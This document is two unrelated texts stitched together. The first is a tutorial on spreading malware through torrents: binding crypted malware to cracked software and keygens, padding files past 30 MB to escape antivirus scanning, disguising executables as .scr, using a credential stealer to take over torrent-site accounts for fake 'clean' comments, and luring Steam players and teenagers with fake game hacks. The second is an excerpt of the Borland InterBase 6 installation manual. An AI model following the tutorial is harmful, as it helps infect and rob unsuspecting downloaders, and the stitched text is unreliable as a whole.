Ok, as you may have guessed, we need a torrent client. A popular and easy to use one is
Torrent. You can download it from: http://www.utorrent.com. Or you can use
your favorite torrent client, but this tutorial I will be using Torrent.
When you have downloaded Torrent, you are ready to go. First of all, we need a popular
program, hopefully includes a patch / key generator (to bind our file with). There is many
ways to find a popular program, but the most common one is top 100 at ThePirateBay
(http://www.thepiratebay.org /top/300 ). If you have a fast upload speed, you can try big
torrents (which make the torrent look more legit), and if you have a slow connection with a
slow upload speed, try some smaller torrents, or consider buying a seedbox, which is
pretty cheap these days.
Put yourself in the downloaders shoes when it comes to spreading, would you download
a Photoshop crack at 45 kB, with no PE info, no leechers/seeds and the default .exe icon?
The answer is no, you would be afraid, because it looks really suspicious. But if it was a 372
megabyte Photoshop installer (I like to include a installer for the program I am making the
torrent for, it looks more legit, and I have tried to make a torrent with the same crack, just
that I excluded the installer, and got 460 more install because of the installer, so the
installer plays a big role) + a crack with some nice icon and info about the creator (PE Info) I
would run it (remember, think as the downloaders, always!)
Now lets move on to the tips & secrets.

T ips & Secrets


People think that you can get thousands of downloads just by uploading, and watching
your downloads increase, this is all wrong. This method has been tested, and gives the
best results:
1. Set up a stealer (iStealer 5.0, Stupid Stealer... you get it, there are many) and
download it on your bots. Check your logs and try to find any torrent sites (Demonoid,
ThePirateBay) and use their account to upload your torrent. This is how I got about 2k
downloads on Demonoid: I bought a Demonoid account from a log seller, and it had a
pretty good ratio on it, and I used it to upload a torrent (I only had 1 account). Then I
started to get many downloads, and I ran my stealer on them, and had about 14
Demonoid
accounts, and I used all those accounts to comment on the original torrent, with comments
like Thanks man, scanned & 100% clean etc Then I got many more downloads, and
used the other accounts to comment, and ended up with 64 comments, and 2k downloads.
(The torrent is still alive today, on Demonoid, and hopefully it wont get reported )
2. The secrets of a successful torrent: Your files must always be larger than 30
megabytes, for 2 reasons:

There is always at least one guy that uploads your file to virustotal. And virustotal

distribute your sample to antivirus companies and get it detected faster. But if your file
is
30 megabyte, then they wont be able to upload it to virustotal due to the upload limit (20
megabyte)

And there will always be at least one smart guy that will look for outgoing connections

or such, so you need more time to get leechers, so make it not too big, and not too small.
30 megabyte is always enough.
3. You need history, for successful torrents, so upload a few eBooks and movies on
your account before uploading your programs.
4. The .exe extension is sometimes not suit for the torrent; lets say you want to send to
somebody as a picture. An executable will be just dumb to send, so you can rename
it to something.scr. Scr stands for screensaver, and functions the same way as an .exe

but is less suspicious.

Choosing your target audience


In the previous chapter I used the top 100 to choose a torrent, because usually those will
get you the most downloads. But lets say you want a specific target (ex. Call of Duty 6
players) then we have to use other methods. Since you want the steams, you need to
make the target audience steam players with Call of Duty Modern Warfare 2 on it. This is
actually really easy, but must people think its hard.
So how can we make people with steam download it? Easy. Just find something steam
users would download, once again, think as the downloaders! Try stuff like Steam Cracked
Client All Games!, or something like VIP Call of Duty Aimbot etc
Torrents are not really good in this part (small programs), for this you can use YouTube, it
is a really good place to spread if you get a lot of views and ratings. Make some videos
about your hack and put many tags (keywords) and I guarantee you that you will get at
least 5 steams if not a lot more.
Think creative, what does your targets like? What would they download? Why would
they download?
Another example: You want from the age 15-17, what does this age like? Games maybe
Ive seen a lot of 15 year old people play runescape so I can make a fake runescape bot or
something in that direction. Then make a lot of videos of it, and use the same tips I gave
for the torrents. Get others YouTube account, comment/rate/subscribe yourself and then
you get more accounts and repeat the process.

Downloading, crypting, binding, and making the torrent


Now, as you have found the program you want to use for your torrent, download
it. For this tutorial, I am going to use this one:

It has 952 seeders, and 45 leechers, which is a really good (and popular) torrent. Why I
chose this torrent have its reasons:

It is an antivirus program, so the target audience probably doesnt have an

antivirus installed.

It has a key generator included, which is also good for us, so we can bind it.

T ip: I usually bind my program with the installer too, so if somebody for some reason
just downloads it for the installer, will get your program too.
Now I have downloaded the torrent, let s do the crypting & binding.

This is what I got so far, 5 files: installer, key generator, readme, screenshot of key
generator, and finally our program. What we want to do is bind the key generator with
our program. For this you have to use a crypter with b uilt-in binder, or a crypter and a
binder. There is a good and free one called Fly Crypter by BUNNN, you can get it from
http://hackh ound.org /forum/index.php?topic=13513.0 but you have to decrypt it
though. Now I am binding and crypting it using Fly Crypter:

Now I put everything back in their original folders, like it was when I downloaded it.
Open up Torrent, and click the magic wand tool:

Click Add Directory (or file, if you use a zip archive) and browse to your file/folder. Put
in the trackers you want to use (a tracker list go to: http ://pastebin.mozi lla.org /697683
) and check Start seeding, as below:

Now after you have saved your torrent, you should have something like this:

Uploading your torrent


Now, you have your files & torrent ready. This part is the most important part, which
many people do mistakes on, uploading your torrent. Most people make a torrent and
upload straight to the popular torrent websites like ThePirateBay or Demonoid, but this
is the worst thing you can do! F irst of all, you will get very few downloads, and the
second; you will be banned extremely fast.
Here is the right way to do it:
F irst of all, begin to upload your torrent straight to those sites:
http://www.seedpeer.com/upload.html
http://www.btjunkie.org /?do=upload
http://www.bitenova.nl/upload
http://www.fulldls.com/upload-torrent.php
http://torrents.sumotorrent.com/upload.php
Now wait for your torrent to get about 5 seeds, and hopefully 10 leechers. (Actually 3
seeds are enough, just a number of seeds are ok, and so people dont see Seeds: 0)
Then upload it to those sites (requires registration):
http://www.torrentreactor.to/torrents/add
http://www.torrentportal.com/torrentsupload.php
Then hopefully you have 10 seeds by then, and upload to:
http://www.torrentdownloads.net/upload/
http://www.torrentmatrix.com/torrentsupload.php Then when you have a bunch of seeds,
upload to:
http://torrentbox.com/torrents-add.php
Now, what you have to do is just wait, our goal is 30 seeds and 30/40 leechers. Then
upload to Demonoid and ThePirateBay after a few hours. But check the T ips & Secrets
chapter for the ultimate way to spread on those 2 popular sites. You are saving the best
last!

Conclusion
Its time to finish this book, so all I have to say is good luck, and have a happy spreading!
You will find this book really helpful when you are sitting there, staring at your torrent with
1 seed and 0 leechers. Using the information provided within this book will guarantee
you that you will become a professional spreader in no time. So what are you waiting for?
If you begin faster, you finish faster, and practice makes master.
Happy spreading.

THE END
Now go spread your torrent! :-)

InterBase 6

Getting Started

Borland

SOFTWARE CORPORATION

100 Enterprise Way, Scotts Valley, CA 95066 http://www.borland.com

March 5, 2001 (D:\Holly\temp\getstart\getstartedtitle.fm5)

Borland Software Corporation may have patents and/or pending patent applications covering subject matter in
this document. The furnishing of this document does not convey any license to these patents.
Copyright 2001 BorlandSoftware Corporation. All rights reserved. All InterBase and Borland products are
trademarks or registered trademarks of BorlandSoftware Corporation. Other brand and product names are
trademarks or registered trademarks of their respective holders.
1INT0060WW21000 21006
D4

TABLE OF CONTENTS

Table of Contents
CHAPTER 1

System Requirements
Disk space requirements . . . . . . . . . . . . . . . . . . . . . . . 5
Windows system requirements . . . . . . . . . . . . . . . . . . . . 6
UNIX system requirements . . . . . . . . . . . . . . . . . . . . . . 6
Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Solaris . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Requirements for other platforms . . . . . . . . . . . . . . . . . . 6

CHAPTER 2

Installation
Installing InterBase on Windows

. . . . . . . . . . . . . . . . . .7

Installing InterBase on Windows . . . . . . . . . . . . . . . 8


Configuring InterBase . . . . . . . . . . . . . . . . . . . . . 8
Logging on . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Uninstalling InterBase on Windows . . . . . . . . . . . . . 9
Installation on UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Preparing to install on UNIX . . . . . . . . . . . . . . . . . 10
Installing on Solaris . . . . . . . . . . . . . . . . . . . . . . 10
Installing on Linux . . . . . . . . . . . . . . . . . . . . . . . 13
Running multiple versions on UNIX . . . . . . . . . . . . . 16
Uninstalling InterBase on UNIX . . . . . . . . . . . . . . . 16
Installing and accessing InterBase documentation . . . . . . . 17
Full-text searching . . . . . . . . . . . . . . . . . . . . . . . 17
Links . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Installing Acrobat Reader With Search . . . . . . . . . . . 18
CHAPTER 3

Migrating to InterBase 6
Migration process . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Migration Issues . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
InterBase 6 SQL dialects . . . . . . . . . . . . . . . . . . . 20
Servers, databases, and ODS 10 . . . . . . . . . . . . . . . 20
Clients and databases . . . . . . . . . . . . . . . . . . . . . 21

iii

Keywords used as identifiers . . . . . . . . . . . . . . . . . 21


Understanding SQL dialects . . . . . . . . . . . . . . . . . . 22
Setting SQL dialects . . . . . . . . . . . . . . . . . . . . . . . . . 23
Setting isql client dialect . . . . . . . . . . . . . . . . . . . . 23
Setting the gpre client dialect . . . . . . . . . . . . . . . . . 24
Setting the gfix client dialect . . . . . . . . . . . . . . . . . 25
New features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Features available in all dialects . . . . . . . . . . . . . . . 25
Features available only in dialect 3 databases . . . . . . . 26
New keywords . . . . . . . . . . . . . . . . . . . . . . . . . 27
Delimited identifiers . . . . . . . . . . . . . . . . . . . . . . 28
DATE, TIME, and TIMESTAMP datatypes . . . . . . . . . . . 29
DECIMAL and NUMERIC datatypes . . . . . . . . . . . . . . 37
Compiled objects . . . . . . . . . . . . . . . . . . . . . . . . 38
Generators . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Miscellaneous issues . . . . . . . . . . . . . . . . . . . . . . 39
Migrating servers and databases . . . . . . . . . . . . . . . . . . 40
In-place server migration . . . . . . . . . . . . . . . . . . 40
Migrating to a new server . . . . . . . . . . . . . . . . . . . 42
About InterBase 6, dialect 1 databases . . . . . . . . . . . 43
Migrating databases to dialect 3 . . . . . . . . . . . . . . . . . . 43
Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
Method one: in-place migration . . . . . . . . . . . . . . . 44
Method two: migrating to a new database . . . . . . . . . 49
Migrating clients . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
IBReplicator migration issues . . . . . . . . . . . . . . . . . . . 53
Migrating data from other DBMS products . . . . . . . . . . . . 53

iv

INTERBASE 6

CHAPTER

System Requirements

Chapter1

InterBase Server runs on a variety of platforms, including Microsoft Windows NT 4.0,


Windows 2000, Windows 98/ME, and several UNIX/Linux operating systems.
The InterBase server software makes efficient use of system resources on the server node;
the server process uses little more than 1.9MB of memory. Typically, each client
connection to the server adds approximately 115KB of memory. This varies based on the
nature of the client applications and the database design, so this figure is only a baseline
for comparison.
The InterBase client also runs on any of these operating systems. In addition, InterBase
provides the InterClient Java client interface using the JDBC standard for database
connectivity. Client applications written in Java can run on any client platform that
supports Java, even if InterBase does not explicitly list it among its supported platforms.
Examples include Macintosh and Internet appliances with embedded Java capabilities.

Disk space requirements


InterBase requires 35 MB for a full install that includes InterBase Server and Client, Adobe
Acrobat Reader, and the full document set. 17MB for InterBase Server and Client alone.
During operation, InterBases sorting routine requires additional disk space as scratch
space. The amount of space depends on the volume and type of data the server is
requested to sort.

CHAPTER 1 SYSTEM REQUIREMENTS

Windows system requirements


Operating system: Windows NT 4.0 with Service Pack 6a, Windows 98, Windows ME, or
Windows 2000 Service Pack 1
Memory: 16 megabytes minimum; 64 recommended for a server
Processor/Hardware model: 486DX2 66MHz minimum; Pentium 100MHz or greater
recommended for a multiclient server
Compiler: Microsoft Visual C++ 4.2 (or later) or Borland C++ Builder 4.0 (or later)

UNIX system requirements


Linux
Operating system: RedHat 6.2 or 7.0; TurboLinux 6.0; SuSe 7.0; Mandrake 7.2
Memory: 32 megabytes minimum; 64 recommended for a server
Processor/Hardware Model: Intel 486 or higher
Compiler: GCC or G++

Solaris
Operating system: Solaris 2.6 or 2.7
Memory: 32 megabytes minimum; 64 recommended for a server
Processor/Hardware Model: SPARC or UltraSPARC
C Compiler: SPARCWorks SC 4.2 C compiler
C++ Compiler: SPARCWorks SC 3.0.1. C++ compiler
Note InterBase on Solaris uses a OS-specific install utility called pkgadd. Install the Solaris

software using the setup.ksh script.

Requirements for other platforms


Refer to online sources of information, including release notes included on your product
media and the Borland web site, for more information on supported platforms, operating
systems, and compilers.
6

INTERBASE 6

INSTALLING INTERBASE ON WINDOWS

CHAPTER

Installation

Chapter2

This chapter contains detailed instructions for installing InterBase on Windows 98/ME,
Windows NT, Windows 2000, Linux, and Solaris.
InterBase might install differently on other platforms due to operating system
requirements. Refer to installation notes included in the software package, on the media,
or on the Borland web site (http://www.borland.com/interbase) for platform-specific
installation instructions.

Installing InterBase on Windows


By default, InterBase files are installed in c:\Program Files\InterBase on Windows
platforms. You can use the INTERBASE environment variable to change this location. See
the Operations Guide for information about setting environment variables.

IMPORTANT

You cannot install InterBase onto a network (mapped) drive.

CHAPTER 2 INSTALLATION

Installing InterBase on Windows


1. If you are installing InterBase 6 on a system running Windows NT or
Windows 2000, log in as a user with Administrator privileges.
2. If InterBase 5.6 or earlier is present on the system:
- Backup all InterBase databases. This is a required step.
- Stop the InterBase server.
- Use Control Panel | Add/Remove Programs to uninstall any previous versions of
InterBase.
Note Please see the Migration section of this manual for a detailed explanation of the

decisions and steps required in migrating databases from InterBase 5 to InterBase 6.


3. If the file gds32.dll is present on the hard disk, delete the file; the uninstall
step does not remove this file and only one version of this file can exist on
the disk.
4. Insert the InterBase 6 distribution CD-ROM into the CD drive.
5. If Autoplay does not start the installation process, run setup.exe from the
root directory of the CD-ROM.
6. Follow the directions on screen.

Configuring InterBase
You can control many aspects of how InterBase runs, including server and database
configurations, backup and restore, and database replication. See the Operations Guide
for information on these topics.

Logging on
To attach to any database, you must have a user name and password. When you first
install InterBase, there is one user defined: SYSDBA. The password is masterkey. SYSDBA
has special privileges that override normal SQL security, and there are database
maintenance tasks that only SYSDBA can perform. You should change the SYSDBA
password immediately after installing InterBase.
Use IBConsole or the gsec utility to change a password and create additional users. For
more information see the IBConsole online help or the Operations Guide.

INTERBASE 6

INSTALLATION ON UNIX

Uninstalling InterBase on Windows


To uninstall InterBase and InterBase Express, use Control Panel | Add/Remove Programs. Choose
InterBase or InterBase Documentation, and click Add/Remove.
InterBase documentation is removed when the InterBase Client or Server is uninstalled.


The InterBase Server, Guardian, and InterServer processes must not be running when you
uninstall the software. To stop one of these applications, right-click its icon in the Task
Tray and selecting Shutdown. To stop one of these services (Windows NT/2000), use the
Control Panel | Services applet.

You must be logged in as a user with Administrator privileges to install or uninstall


InterBase on Windows NT/2000.

Uninstall never removes isc4.gdb or files created by the server process, including
interbase.log, host.evn, host.lck.

The Windows InterBase installation allows you to choose between performing a complete
install or selecting individual components. If you choose to install components at
different times, the uninstall program removes only the components selected for the last
install.

The ODBC driver or the ODBC driver manager must be removed manually; there is no
uninstall available through the Windows control panel.

Installation on UNIX
This section provides instructions for installing InterBase 6 on Solaris and Linux. For
platform-specific instruction on installing InterBase on other UNIX brands, see the
InterBase web site (http://www.borland.com/interbase).
By default, InterBase files are installed in /opt/interbase. On the Solaris platform, the
install program still creates a symbolic link from /usr/interbase to /opt/interbase. On
Linux, there is no symbolic link from /usr/interbase to an actual install directory. You
can use the INTERBASE environment variable to change this location. See the Operations
Guide for information about setting environment variables.

CHAPTER 2 INSTALLATION

Preparing to install on UNIX


1. Save older databases
InterBase 6 uses a new On-Disk Structure (ODS), ODS 10. Databases created with
InterBase 5 used ODS 9.1. To take advantage of new InterBase 6 features, you must
use gbak to back up any databases that you intend to use with the Version 6 software.
V5 databases can be backed up using V5 gbak or with the InterBase 6 gbak if you are
performing the backup after the install. Once a database has been converted to ODS
10, it cannot be converted back to earlier versions of the ODS. For more information,
refer to the Migration chapter.
2. Save customization files
If you have InterBase 5 installed on the server and you want to preserve the
customization files, copy them to a safe place, for example:
gbak b /usr/interbase/isc4.gdb /var/tmp/isc4.gbak
cp /usr/interbase/isc_license.dat /var/tmp
cp /usr/interbase/isc_config /var/tmp

You can skip this step if you haven't customized these files in a previous installation.
Note When you use pkgrm remove InterBase V5 for Solaris, these files are

automatically saved in /usr/tmp.


3. Save older versions
If InterBase 5 is running on your server, shut it down. To save the current version,
rename the directory, for example:
ibmgr -shut -user sysdba -password password
mv /usr/interbase /usr/interbase.save

4. Point to the install directory


If you install into a directory other than /opt/interbase on Solaris, the install program
creates a symbolic link from /usr/interbase to that directory. If you install into a directory
other than /opt/interbase on Linux, the install program creates a symbolic link from
/opt/interbase to that directory.

Installing on Solaris
InterBase requires Solaris versions 2.6.x. or 7. These instructions are for both server and
client installations:

10

INTERBASE 6

INSTALLATION ON UNIX

1. Log in to your database server as root.


2. Load the CD-ROM with the InterBase 6 product. Mount the CD-ROM at an
appropriate mount point. If you have the volume manager running, this is
done for you, and the CD-ROM mounts according to its label. For instance
/cdrom/interbase_sos_V6 for the CD-ROM of InterBase 6 for Solaris.
3. Run setup.ksh. setup.ksh brings up the following menu:
1.Install InterBase Client and Server software
2.Install InterBase Client Only software
3.Install Adobe Acrobat Reader software
4.Exit
Enter selection.(default 1) [1-4]

The following sections describe these options

 Installing InterBase Client and Server on Solaris


When you select Install InterBase Client and Server software from the menu, the setup
script displays the following messages and starts the pkgadd utility:
Starting InterBase Client and Server Install, please wait...
set NONABI_SCRIPTS=TRUE
export NONABI_SCRIPTS
pkgadd -d CDROM_DIR/Interbase6.0_ClientServerpkg
The following packages are available:
1 interbase InterBase RDBMS Software
(sparc) InterBase Version 6.0
Select package(s) you wish to process (or all to process
all packages). (default: all) [?,??,q]:

1. Press u to choose the Install InterBase default.


Processing package instance <interbase> from
</cdrom/interbase_SOS_V6>
InterBase RDBMS Software
(sparc) InterBase Version 6.0
Enter the absolute pathname of the install directory
(default /usr) [?,q]

2. Press u to accept the default or type in the pathname in which to create


the interbase directory.
Using </usr> as the package base directory.

11

CHAPTER 2 INSTALLATION

##
##
##
##
##

Processing package information.


Processing system information.
Verifying disk space requirements.
Checking for conflicts with packages already installed.
Checking for setuid/setgid programs.

This package contains scripts which will be executed with superuser


permission during the process of installing this package.
Do you want to continue with the installation of <interbase> [y,n,?]

3. Choose y. The installation script must have superuser privilege to modify


system files and create symbolic links.
Installing InterBase RDBMS Software as <interbase>
## Installing part 1 of 1.
/usr/interbase/install.txt
/usr/interbase/Release_Notes.pdf
. . .
[ verifying class <none> ]
## Executing postinstall script.
. . .

The InterBase install script looks for the InterClient installation script on the CD-ROM,
and runs it if possible. See Uninstalling InterBase on UNIX on page 16.
Thereafter, the install script returns to pkgadd:
Installation of <interbase> was successful.
The following packages are available:
1 interbase InterBase RDBMS Software
(sparc) InterBase Version 6.0
Select package(s) you wish to process (or all to process
all packages). (default: all) [?,??,q]:

4. Choose q. There is only one package to install using pkgadd.


5. If you saved customization files, restore them now with the ones you backed
up before installing InterBase 6. For example:
# cp /tmp/isc_config /usr/interbase

6. If you intend to run the ibserver daemon as a user other than root, create a
UNIX user account named interbase on your machine. Log in as this user
before starting the SuperServer with the ibmgr utility.

12

INTERBASE 6

INSTALLATION ON UNIX

Note We recommend that you create an interbase user account and use this account

for all database maintenance; this will make tasks such as backup and restore run much
more smoothly.
7. Execute the following command to start the InterBase Server:
# echo /usr/interbase/bin/ibmgr start forever | su interbase

This starts the SuperServer daemon (ibserver) and a guardian (ibguard) program that
keeps track of ibserver.
8. Now that the server is running, you can restore the security database with the
ones you backed up before installing InterBase 6:
# gbak r /tmp/isc4.gbak jupiter:/usr/interbase/isc4.gdb

9. To test your existing databases with InterBase 6, use gbak to restore the
backup files you created before upgrading.

Installing on Linux
For both the SuperServer and Classic versions of InterBase, default installation directories
on Linux are as follows:
/opt/interbase

executables

/usr/lib

libraries

/usr/include

header files

InterBase SuperServer for Linux requires glibc (libc6) Version 2.1. InterBase does not
work with the older Version 2.0 library.

 Installing with Red Hat Package manager (RPM)


1. Log into your datase server as root.
2. Uninstall any previous versions of InterBase.
3. Install InterBase 6 using the RPM utility, for example:
rpm -i interbase-6.0-1.i386.rpm

4. Check that /etc/hosts contains the following line:


127.0.0.1 localhost

5. Check that /etc/hosts.equiv exists on the system and contains localhost. If


the file already exists but does not contain localhost, edit the file to add it.
If /etc/hosts.equiv does not exist, create it as follows:

13

CHAPTER 2 INSTALLATION

echo localhost > /etc/hosts.equiv

IMPORTANT

If /etc/hosts.equiv already exists on the system, then the command above will
overwrite your current file, and all the information that was in it will be lost.
6. To test SuperServer installations do the following:
- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

- Start the isql utility and connect to the example database:


isql localhost:/opt/interbase/examples/employee.gdb

7. To test Classic installations do the following:


- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

Note The Classic architecture permits application processes to perform I/O on database

files directly, whereas SuperServer requires applications to request the ibserver I/O
operations by proxy, using a network method. The local access method is only usable by
applications that run on the same host as the database. Thus we need to test both local
and remote access for Classic servers.
- To test local access, start isql locally and connect to the example database:
isql /opt/interbase/examples/employee.gdb

- To test remote access, start the isql utility and connect to the example database:
isql localhost:/opt/interbase/examples/employee.gdb

 Installing from a tar file


1. Log into your database server as root.
2. Uninstall any previous versions of InterBase.
3. Extract the install script and the InterBase kit using the tar utility, for
example:
tar xvf InterBaseSS_LI-B6.0.tar

4. Run the install script, for example:


./install /tmp/InterBase_LI-V6.0.tgz

14

INTERBASE 6

INSTALLATION ON UNIX

5. Check that /etc/hosts contains the following line:


127.0.0.1 localhost

6. Check that /etc/hosts.equiv exists on the system and contains localhost. If


the file already exists but does not contain localhost, edit the file to add it.
If /etc/hosts.equiv does not exist, create it as follows:
echo localhost > /etc/hosts.equiv

IMPORTANT

If /etc/hosts.equiv already exists on the system, then the command above will
overwrite your current file, and all the information that was in it will be lost.
7. To test SuperServer installations do the following:
- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

- Start the isql utility and connect to the example database:


isql localhost:/opt/interbase/examples/employee.gdb

8. To test Classic installations do the following:


- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

Note The Classic architecture permits application processes to perform I/O on database

files directly, whereas SuperServer requires applications to request the ibserver I/O
operations by proxy, using a network method. The local access method is only usable by
applications that run on the same host as the database. Thus we need to test both local
and remote access for Classic servers.
- To test local access, start isql locally and connect to the example database:
isql /opt/interbase/examples/employee.gdb

- To test remote access, start the isql utility and connect to the example database:
isql localhost:/opt/interbase/examples/employee.gdb

Note Change all instances of /usr/interbase to /opt/interbase.

15

CHAPTER 2 INSTALLATION

Running multiple versions on UNIX


We support both SuperServer and Classic architectures on Linux, and you can switch
between versions of the same architecture as well as different architectures on the same
host. To start a specific version, start the server in the directory to which the symbolic
link points. To start the server daemon, follow the steps in UNIX daemon in the
Operations Guide.

Uninstalling InterBase on UNIX


On Solaris, use pkgrm to remove the InterBase 6 package:
# pkgrm interbase

On Linux, if InterBase was installed using RPM, use RPM to uninstall InterBase, for
example:
rpm -e NameofInterBasePackage
On Linux, if InterBase was installed using a tar file, follow these steps to uninstall
InterBase.


SuperServer:
1. If ibserver is running, use the following command to shut down the server:
ibmgr -shut -pass password

2. Copy the ibinstall.log file from the InterBase install directory


(/opt/interbase) to /tmp.
3. Delete the InterBase install directory.
4. Remove all the InterBase files from the /usr/lib and /usr/include
directories; see /tmp/ibinstall.log for the list of files.
5. Remove the InterBase entry from /etc/services; see /tmp/ibinstall.log for
the InterBase entry.


Classic:
1. If gds_lock_mgr is running, use the following command to shut down the
lock manager:
gds_drop -s

2. Copy the ibinstall.log file from the InterBase install directory


(/opt/interbase) to /tmp.
3. Delete the InterBase install directory.

16

INTERBASE 6

INSTALLING AND ACCESSING INTERBASE DOCUMENTATION

4. Remove all the InterBase files from the /usr/lib, /usr/local/sbin, and
/usr/include directories; see /tmp/ibinstall.log for the list of files.
5. Remove the InterBase entry from /etc/inetd.conf; see /tmp/ibinstall.log for
the InterBase entry.
6. Find the inetd process id in /var/run/inetd.pid and send the signal SIGHUP
to the inetd process to tell it to re-read the configuration file and not listen
on port 3050 (gds_db) any more.
7. Remove the InterBase entry from /etc/services; see /tmp/ibinstall.log for
the InterBase entry.

Installing and accessing InterBase documentation


You can install the InterBase documentation in PDF form on your hard drive; this requires
about 24 MB of disk space. Or, you can install shortcuts to the documentation, in which
case you must insert the InterBase CD-ROM each time you want to refer to the
documentation.
You need Adobe Acrobat Reader With Search to view and search the documentation. The
InterBase CD-ROM includes Acrobat Reader With Search (English version) of UNIX and
Windows platforms. The files are in subdirectories of the /Adobe directory on the
InterBase CD-ROM.
To access all of the books from a single document, open 2AllBooks.pdf. It contains links to
the rest of the document set.
The InterBase document set consists of the API Guide, the Data Definition Guide, the
Developers Guide, the Embedded SQL Guide (formerly the Programmers Guide),
Getting Started, the Language Reference, the Operations Guide, and Release Notes.

Full-text searching
The document set has been indexed for full-text searching. If you are viewing the
documents using Acrobat Reader With Search, you can enter a query and receive a list of
hits from all five books in the InterBase document set.
To use full-text searching, click the
button and search for a word or phrase. Acrobat
Reader returns a list of books that contain the phrase. Choose the book you want to start
looking in to display the first instance. You then use the
and
buttons to step
forward and back through instances of your search target. Reader moves from one book
to the next. To go to a different book at will, click the
button to display the found
list.

17

CHAPTER 2 INSTALLATION

Note that full-text searching is not the same as Find (


current document.
Tip

), which searches only the

On UNIX and Linux, always open documents using an absolute pathname to the PDF
file, to make Acrobat Reader With Search associate the index with the PDF document
correctly.

Links
The PDF documentation set contains many hypertext links that take you to referenced
points in the document with a single click. In addition, the Table of Contents and Index
entries are hypertext links and therefore are clickable. Throughout the document set,
clickable links appear bold and green.

Installing Acrobat Reader With Search


On Windows

You can install Acrobat Reader 3.01 With Search by choosing Install Adobe Acrobat
Reader 3.0 from the InterBase Launcher. You can also install it directly by running
setup.exe from the /Adobe directory of the InterBase CD-ROM.
On UNIX

The InterBase CD-ROM includes Acrobat Reader With Search for both the UNIX platform
and for Windows. The files are in subdirectories of the /Adobe directory on the InterBase
CD-ROM. Read instguid.txt in the /Adobe/UNIX platform directory for UNIX installation
instructions. To install on a Windows platform, run setup.exe in the /Adobe/Windows
directory.
From the Adobe website

If you dont have the InterBase CD-ROM handy, you can get Acrobat Reader for free from
the Adobe website. Its at http://www.adobe.com/products/acrobat. Check the box next to
Include option for searching PDF files... to download Acrobat Reader With Search, not
the plain Acrobat Reader.

18

INTERBASE 6

CHAPTER

Migrating to InterBase 6

Chapter3

This chapter describes how to plan and execute a smooth migration from earlier versions
of InterBase to InterBase 6. Topics in this chapter include:


Migration issues: on-disk structure and dialects

Migration paths

Delphi, C++ Builder and InterBase 6: BDE and IBX


Note See the Release Notes for a detailed introduction to new InterBase features.

Migration process
These are the steps you must take to migrate servers, databases, and clients. Each is
discussed in detail in later sections:


Server and database migration


1. Backup all databases to be migrated
2. Install the InterBase 6 server
3. Restore databases to be migrated; at this point, you have dialect 1 databases
4. Validate migrated databases
5. Migrate databases to SQL dialect 3 (see pages 43 to 51)

19

CHAPTER 3 MIGRATING TO INTERBASE 6

Client migration
1. Identify the clients that must be upgraded to InterBase 6
2. Identify areas in your application which may need upgrading
3. Install the InterBase 6 client to each machine that requires it
4. Upgrade SQL applications to SQL dialect 3

Migration Issues
Before migrating your databases, you need to learn about InterBase 6 SQL dialects and
understand their effect on servers, clients, and the use of new InterBase 6 features.

InterBase 6 SQL dialects


InterBase recognizes different client and database dialects to allow users more mobility
in how their legacy databases are used, accessed, and updated. In InterBase 6, each client
and database has an SQL dialect: an indicator that instructs an InterBase 6 server how to
interpret transition features: those features whose meanings have changed between
InterBase versions. The following transition features have different meanings based on
the dialect used by the client applications:


Double quote (): changed from a synonym for the single quote () to the delimiter for
an object name

DECIMAL and NUMERIC datatypes with precision greater than 9: now stored as INT64
datatypes instead of DOUBLE PRECISION

DATE, TIME, and TIMESTAMP datatypes: DATE has changed from a 64-bit quantity containing

both date and time information to a 32-bit quantity containing only date information.
TIME is a 32-bit quantity containing only time information, while TIMESTAMP is a 64-bit
quantity containing both date and time information (the same as DATE in pre-Version 6
SQL).

Servers, databases, and ODS 10


InterBase 6 databases are stored in the ODS 10 data format. This format is
backward-compatible with older formats.


20

If you upgrade a server to InterBase 6, you have the option to migrate the databases that
it accesses to InterBase 6 as well.

INTERBASE 6

MIGRATION ISSUES

If you do not upgrade a server, you do not need to migrate the databases that it accesses.
InterBase 5 and older servers can access InterBase 6 databases.

Clients and databases


Clients and databases each have dialects. Servers do not themselves have a dialect, but
they interpret data structures and client requests based on the dialect of each.
Applications using an older version of the InterBase client work with the InterBase 6
server and its databases with some restrictions:


Version 5 clients cannot access dialect 3 columns that are stored as INT64, TIME, or DATE.
(DECIMAL and NUMERIC columns with precision greater than 9 are stored as INT64.)

Version 5 clients cannot display new datatypes in metadata using the SHOW command, or
any equivalent.

Version 5 clients interpret the DATE datatype as TIMESTAMP, since that was the definition
of DATE prior to InterBase 6.

Version 5 clients cannot access any object named with a delimited identifiers.

Clients that use the Borland Database Engine (BDE) to access an InterBase 6.0 server are
not able to access any of the new field type regardless of the version of the InterBase
client installed.

Keywords used as identifiers


Version 5 clients have one advantage over version 6 clients: If you migrate an older
database that uses some of the new version 6 keywords as identifiers to version 6 dialect
1, these older version 5 clients can still access those keyword objects. Version 6 dialect 1
cannot do so. Dialect 3 clients can access these keyword objects if they are delimited in
double quotes.
If version 5 clients use any of the new InterBase 6 keywords as object names, the
InterBase 6 server permits this without error because it recognizes that these clients were
created at a time when these were not keywords.
Example

For example, the following statement uses the new keyword word TIME:
SELECT TIME FROM atable;

This statement, when executed via a pre-InterBase 6 client returns the information as it
did in previous versions. If this same query is issued using a version 6 client, an error is
returned since TIME is now a reserved word. See page 27 for a list of new keywords.

21

CHAPTER 3 MIGRATING TO INTERBASE 6

Understanding SQL dialects


